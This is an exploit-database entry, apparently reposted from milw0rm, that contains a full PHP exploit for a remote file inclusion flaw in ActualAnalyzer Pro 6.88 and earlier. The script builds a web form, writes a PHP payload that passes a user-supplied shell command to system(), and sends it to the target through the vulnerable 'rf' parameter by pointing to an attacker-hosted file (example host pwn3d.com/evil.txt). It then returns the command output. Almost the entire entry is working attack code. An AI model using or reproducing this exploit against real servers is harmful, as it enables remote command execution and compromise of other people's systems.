ActualAnalyzer Pro <= 6.88 (rf) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ActualAnalyzer Pro <= 6.88 Remote File Include Exploi


                                                &#60;?php

// No hard feelings ReZEN, I just post them when I get them. /str0ke

/*
ActualAnalyzer Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, D2K
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/path to actualanalyzer/direct.php?rf=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST[&#34;cmd&#34;];
$turl = $_POST[&#34;turl&#34;];
$hurl = $_POST[&#34;hurl&#34;];

$form= &#34;&#60;form method=\&#34;post\&#34; action=\&#34;&#34;.$PHP_SELF.&#34;\&#34;&#62;&#34;
    .&#34;turl:&#60;br&#62;&#60;input type=\&#34;text\&#34; name=\&#34;turl\&#34; size=\&#34;90\&#34; value=\&#34;&#34;.$turl.&#34;\&#34;&#62;&#60;br&#62;&#34;
    .&#34;hurl:&#60;br&#62;&#60;input type=\&#34;text\&#34; name=\&#34;hurl\&#34; size=\&#34;90\&#34; value=\&#34;&#34;.$hurl.&#34;\&#34;&#62;&#60;br&#62;&#34;
    .&#34;cmd:&#60;br&#62;&#60;input type=\&#34;text\&#34; name=\&#34;cmd\&#34; size=\&#34;90\&#34; value=\&#34;&#34;.$cmd.&#34;\&#34;&#62;&#60;br&#62;&#34;
    .&#34;&#60;input type=\&#34;submit\&#34; value=\&#34;Submit\&#34; name=\&#34;submit\&#34;&#62;&#34;
    .&#34;&#60;/form&#62;&#60;HR WIDTH=\&#34;650\&#34; ALIGN=\&#34;LEFT\&#34;&#62;&#34;;

if (!isset($_POST[&#39;submit&#39;])) 
{

echo $form;

}else{

$file = fopen (&#34;test.txt&#34;, &#34;w+&#34;);

fwrite($file, &#34;&#60;?php system(\&#34;echo ++BEGIN++\&#34;); system(\&#34;&#34;.$cmd.&#34;\&#34;); 
system(\&#34;echo ++END++\&#34;); ?&#62;&#34;);
fclose($file);

$file = fopen ($turl.$hurl, &#34;r&#34;);
if (!$file) {
    echo &#34;&#60;p&#62;Unable to get output.\n&#34;;
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024).&#34;&#60;br&#62;&#34;;
    }
$tpos1 = strpos($line, &#34;++BEGIN++&#34;);
$tpos2 = strpos($line, &#34;++END++&#34;);
$tpos1 = $tpos1+strlen(&#34;++BEGIN++&#34;);
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?&#62;

# milw0rm.com [2006-05-08]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1